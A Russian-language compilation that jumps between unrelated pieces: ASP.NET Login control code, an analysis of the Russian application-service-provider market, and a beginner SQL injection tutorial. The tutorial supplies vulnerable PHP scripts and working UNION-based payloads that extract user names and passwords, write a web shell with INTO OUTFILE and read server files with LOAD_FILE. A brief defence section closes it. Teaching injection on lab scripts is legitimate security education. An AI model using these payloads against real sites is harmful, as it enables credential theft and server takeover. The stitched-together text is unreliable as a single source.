Первые три события можно обрабатывать для выполнения некоторых действий перед аутентификацией пользователя, после аутентификации и в случае возникновения ошибки во время осуществления аутентификации. Например, событие LoginError можно использовать для автоматического перенаправления пользователя на страницу восстановления пароля после определенного количества попыток входа, как показано ниже:

Protected void Page_Load(object sender, EventArgs e) { if (!this.IsPostBack) ViewState["LoginErrors"] = 0; } protected void Login1_LoginError(object sender, EventArgs e) { // Если состояние LoginErrors не существует, создать его if (ViewState["LoginErrors"] == null) ViewState["LoginErrors"] = 0; // Увеличить счетчик неудачных попыток входа int ErrorCount = (int)ViewState["LoginErrors"] + 1; ViewState["LoginErrors"] = ErrorCount; // Проверить количество неудачных попыток if ((ErrorCount > 3) && (Login1.PasswordRecoveryUrl != string.Empty)) Response.Redirect(Login1.PasswordRecoveryUrl); }

Элемент управления Login генерирует события в порядке, представленном на рисунке ниже:

Как упоминалось ранее, если вы перехватываете событие Authenticate, то должны добавить собственный код проверки имени пользователя и пароля. Свойство Authenticate поддерживает экземпляр AuthenticateEventArgs списка параметров. Этот класс аргумента события поддерживает одно свойство по имени Authenticated. Если установить его в true, то элемент управления Login предполагает, что аутентификация прошла успешно, и инициирует событие LoggedIn. Если же установить это свойство в false, будет отображен FailureText и инициировано событие LoginError:

Protected void Login1_Authenticate(object sender, AuthenticateEventArgs e) { if (Membership.ValidateUser(Login1.UserName, Login1.Password)) { e.Authenticated = true; } else { e.Authenticated = false; } }

Как видите, имеется прямой доступ к введенным значениям через свойства UserName и Password, которые содержат текст, введенный в соответствующие текстовые поля. Если вы используете шаблонные элементы управления и хотите получить значение из другого элемента, в дополнение к элементам с идентификаторами UserName и Password, то для этого можете использовать метод FindControl() для получения этого дополнительного элемента. Этот метод принимает идентификатор нужного элемента и возвращает экземпляр System.Web.UI.Control. Затем полученный объект просто приводится к типу требуемого элемента управления и читается значение, необходимое специальному методу проверки удостоверения пользователя.

В настоящее время нельзя утверждать, что в России сформировался полноценный рынок ASP. Российские пользователи в большинстве своем еще плохо воспринимают концепцию ASP как полезную для своего бизнеса. В настоящее время (на момент подготовки статьи) на российском рынке нет ни одного успешного примера полномасштабного внедрения ASP-модели на крупном предприятии. Фактически, есть только хостинг, отдельные реализованные элементы ASP-модели, компании, которые желают заниматься ASP-бизнесом и др. То есть, внедрения классической ASP-модели в России пока нет.

Сейчас на российском рынке ASP-модель применима только к персонализированным почтовым сервисам (Mail.ru, Beep.ru, Freemail.ru и др.) и к специализированным высокотехнологичным сервисам (например, баннерным и поисковым системам, системам Интернет-статистики и др.). При этом, под арендой почтовых сервисов подразумевается не просто предоставление персонального почтового ящика каждому отдельному пользователю. Бесплатные почтовые серверы широко используются в корпоративном секторе малыми предприятиями и частными предпринимателями. Основными клиентами таких сервисов являются компании, желающие организовать корпоративную почтовую службу (или автоматизировать корпоративный документооборот) или Интернет-провайдеры (например, порталы Rambler.ru, Yandex.ru и др.), желающие организовать службу бесплатной Web-почты для своей аудитории.

Наблюдается определенный интерес российских пользователей и к аренде электронных магазинов (витрин на электронной торговой площадке). И это вполне объяснимо. Так как успешных примеров онлайновой торговли в России пока еще очень и очень мало (несмотря на громкие заявления ряда компаний о своих впечатляющих достижениях), то наиболее разумным представляется потратить на порядок меньшие средства на аренду электронного магазина (чем покупать и поддерживать его). В случае неудачи проекта его можно достаточно быстро и без существенных потерь свернуть. Распространенная на Западе аренда ERP-приложений находится сейчас в России только на стадии пилотных проектов.

Из приложений, предлагаемых в аренду, можно отметить как относительно простые офисные пакеты (типа MS Office), так и более сложные приложения (типа Lotus Smart Suite), а также ERP-системы (типа Navision Axapta).

Основные проблемы и особенности российского рынка ASP.

10.2 Проблемы на российском рынке.

В настоящее время российский рынок ASP отстает от мирового ASP-рынка по крайней мере на несколько лет. Зачаточное состояние российского рынка ASP вызвано рядом существующих на нем проблем. Основными из этих проблем являются:

1.Общее отставание российской экономики от западной и неразвитость технической инфраструктуры предприятий. До сих пор большинство российских предприятий работает на созданной еще десятилетия назад технической инфраструктуре. В настоящее время инвестиции предприятий в ее модернизацию еще недостаточны. И здесь проблема скорее финансовых приоритетов предприятий, т.к. не все из них могут инвестировать необходимые средства в модернизацию технической инфраструктуры. Поэтому им приходится решать свои текущие проблемы за счет уже имеющейся инфраструктуры.

2.Низкий спрос на сервисы ASP. Население и корпоративные клиенты не готовы (в своем большинстве) платить за услуги ASP. Если для среднестатистического российского потребителя сейчас просто есть более насущные и жизненно важные приоритеты в расходах, то корпоративные пользователи пока не воспринимают ASP-услуги всерьез.

3.Слабость законодательной базы для электронного рынка. Пока не будет принят полный пакет законов, говорить о развитии электронного рынка (в том числе и ASP) не приходится.

4.Закрытость финансовой отчетности корпоративных клиентов (особенно наиболее платежеспособных предприятий).

5.Сопротивление ИТ-департаментов (как явное, так и неявное) крупных компаний, которым приходится переориентироваться на другие задачи, сокращать сотрудников и ИТ-бюджеты и др.

6.Небольшое количество приложений, которые можно использовать в ASP-модели для российских предприятий.

7.Наличие на российском рынке труда достаточно большого числа ИТ-специалистов начального и среднего уровня с относительно невысокими зарплатами. После кризиса 1998 г. в подавляющем большинстве размер зарплаты ИТ-специалистов остался на прежнем послекризисном уровне. Небольшим и средним компаниям иногда дешевле содержать собственные ИТ-службы, чем платить за ASP-сервисы (в отличие от западных компаний, где ситуация прямо противоположная).

Приветствую тебя, читатель. Последнее время, я увлекаюсь Web-безопасностью, да и в какой-то степени работа связана с этим. Т.к. я всё чаще и чаще стал замечать темы на различных форумах, с просьбой показать, как это всё работает, решил написать статью. Статья будет рассчитана на тех, кто не сталкивался с подобным, но хотел бы научиться. В сети относительно много статей на данную тематику, но для начинающих они немного сложные. Я постараюсь описать всё понятным языком и подробными примерами.

Предисловие

Для того, чтобы понять данную статью, вам не особо понадобится знания SQL-языка, а хотя бы наличие хорошего терпения и немного мозгов - для запоминания.

Я считаю, что одного прочтения статьи будет мало, т.к. нам нужны живые примеры - как известно практика, в процессе запоминания, не бывает лишней. Поэтому мы будем писать уязвимые скрипты и тренироваться на них.

Что же такое SQL инъекция?
Говоря простым языком - это атака на базу данных, которая позволит выполнить некоторое действие, которое не планировалось создателем скрипта. Пример из жизни:

Отец, написал в записке маме, чтобы она дала Васе 100 рублей и положил её на стол. Переработав это в шуточный SQL язык, мы получим:
ДОСТАНЬ ИЗ кошелька 100 РУБЛЕЙ И ДАЙ ИХ Васе

Так-как отец плохо написал записку (Корявый почерк), и оставил её на столе, её увидел брат Васи - Петя. Петя, будучи хакер, дописал там «ИЛИ Пете» и получился такой запрос:
ДОСТАНЬ ИЗ кошелька 100 РУБЛЕЙ И ДАЙ ИХ Васе ИЛИ Пете

Мама прочитав записку, решила, что Васе она давала деньги вчера и дала 100 рублей Пете. Вот простой пример SQL инъекции из жизни:) Не фильтруя данные (Мама еле разобрала почерк), Петя добился профита.

Подготовка
Для практики, Вам понадобится архив с исходными скриптами данной статьи. Скачайте его и распакуйте на сервере. Также импортируйте базу данных и установите данные в файле cfg.php

Поиск SQL injection

Как Вы уже поняли, инъекция появляется из входящих данных, которые не фильтруются. Самая распространенная ошибка - это не фильтрация передаваемого ID. Ну грубо говоря подставлять во все поля кавычки. Будь это GET/POST запрос и даже Cookie!

Числовой входящий параметр
Для практики нам понадобится скрипт index1.php . Как я уже говорил выше, подставляем кавычки в ID новости.

Т.к. у нас запрос не имеет фильтрации:

$id = $_GET["id"]; $query = "SELECT * FROM news WHERE id=$id";

Скрипт поймет это как

SELECT * FROM news WHERE id=1"

И выдаст нам ошибку:
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in C:\WebServ\domains\sqlinj\index1.php on line 16

Если ошибку не выдало - могут быть следующие причины:

1.SQL инъекции здесь нет - Фильтруются кавычки, или просто стоит преобразование в (int)
2.Отключен вывод ошибок.

Если все же ошибку вывело - Ура! Мы нашли первый вид SQL инъекции - Числовой входящий параметр.

Строковой входящий параметр

Запросы будем посылать на index2.php . В данном файле, запрос имеет вид:
$user = $_GET["user"]; $query = "SELECT * FROM news WHERE user="$user"";

Тут мы делаем выборку новости по имени пользователя, и опять же - не фильтруем.
Опять посылаем запрос с кавычкой:

Выдало ошибку. Ок! Значит уязвимость есть. Для начала нам хватит - приступим к практике.

Приступаем к действиям

Немного теории

Наверно Вам уже не терпится извлечь что-то из этого, кроме ошибок. Для начала усвойте, что знак " -- " считается комментарием в языке SQL.

ВНИМАНИЕ! Перед и после него обязательно должны стоять пробелы. В URL они передаются как %20

Всё, что идет после комментария - будет отброшено То есть запрос:
SELECT * FROM news WHERE user="AlexanderPHP" -- habrahabra

Выполнится удачно. Можете попробовать это на скрипте index2.php, послав такой запрос:

Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr

Выучите параметр UNION . В языке SQL ключевое слово UNION применяется для объединения результатов двух SQL-запросов в единую таблицу. То есть для того, чтобы вытащить что-то нам нужное из другой таблицы.

Извлекаем из этого пользу

Если параметр «Числовой», то в запросе нам не нужно посылать кавычку и естественно ставить комментарий в конце. Вернемся к скрипту index1.php .

Обратимся к скрипту sqlinj/index1.php?id=1 UNION SELECT 1 . Запрос к БД у нас получается вот таким:
SELECT * FROM news WHERE id=1 UNION SELECT 1
И он выдал нам ошибку, т.к. для работы с объедением запросов, нам требуется одинаковое количество полей.

Т.к. мы не можем повлиять на их количество в первом запросе, то нам нужно подобрать их количество во втором, чтобы оно было равно первому.

Подбираем количество полей

Подбор полей делается очень просто, достаточно посылать такие запросы:
sqlinj/index1.php?id=1 UNION SELECT 1,2
Ошибка…
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
Опять ошибка!
sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5
Ошибки нет! Значит количество столбцов равно 5.

GROUP BY
Зачастую бывает, что полей может быть 20 или 40 или даже 60. Чтобы нам каждый раз не перебирать их, используем GROUP BY

Если запрос
sqlinj/index1.php?id=1 GROUP BY 2
не выдал ошибок, значит кол-во полей больше 2. Пробуем:

Sqlinj/index1.php?id=1 GROUP BY 8
Оп, видим ошибку, значит кол-во полей меньше 8.

Если при GROUP BY 4 нет ошибки, а при GROUP BY 6 - ошибка, Значит кол-во полей равно 5

Определение выводимых столбцов
Для того, чтобы с первого запроса нам ничего не выводилось, достаточно подставить несуществующий ID, например:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5


Этим действием, мы определили, какие столбцы выводятся на страницу. теперь, чтобы заменить эти цифры на нужную информацию, нужно продолжить запрос.

Вывод данных

Допустим мы знаем, что еще существует таблица users в которой существуют поля id , name и pass .
Нам нужно достать Информацию о пользователе с ID=1

Следовательно построим такой запрос:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 FROM users WHERE id=1
Скрипт также продолжает выводить

Для этого, мы подставим название полей, за место цифр 1 и 3

Sqlinj/index1.php?id=-1 UNION SELECT name,2,pass,4,5 FROM users WHERE id=1
Получили то - что требовалось!

Для «строкового входящего параметра», как в скрипте index2.php нужно добавлять кавычку в начале и знак комментария в конце. Пример:
sqlinj/index2.php?user=-1" UNION SELECT name,2,pass,4,5 FROM users WHERE id=1 --%20

Чтение/Запись файлов

Для чтения и записи файлов, у пользователя БД должны быть права FILE_PRIV.
Запись файлов
На самом деле всё очень просто. Для записи файла, мы будем использовать функцию OUTFILE .
sqlinj/index2.php?user=-1" UNION SELECT 1,2,3,4,5 INTO OUTFILE "1.php" --%20
Отлично, файл у нас записался. Таким образом, Мы можем залить мини-шелл:
sqlinj/index2.php?user=-1" UNION SELECT 1,"",3,4,5 INTO OUTFILE "1.php" --%20
Чтение файлов
Чтение файлов производится еще легче, чем запись. Достаточно просто использовать функцию LOAD_FILE , за место того поля, которое мы выбираем:

Sqlinj/index2.php?user=-1" UNION SELECT 1,LOAD_FILE("1.php"),3,4,5 --%20

Таким образом, мы прочитали предыдущий записанный файл.

Способы защиты

Защититься еще проще, чем использовать уязвимость. Просто фильтруйте данные. Если Вы передаёте числа, используйте
$id = (int) $_GET["id"];
Как подсказал пользователь malroc . Защищаться использованием PDO или prepared statements.

Вместо завершения

На этом хочу закончить свою первую часть про «SQL injection для начинающих». Во второй мы рассмотрим более тяжелые примеры инъекций. Пробуйте сами писать уязвимые скрипты и выполнять запросы.
И запомните, не доверяйте ни одному пользователю Вашего сайта.

Теги: Добавить метки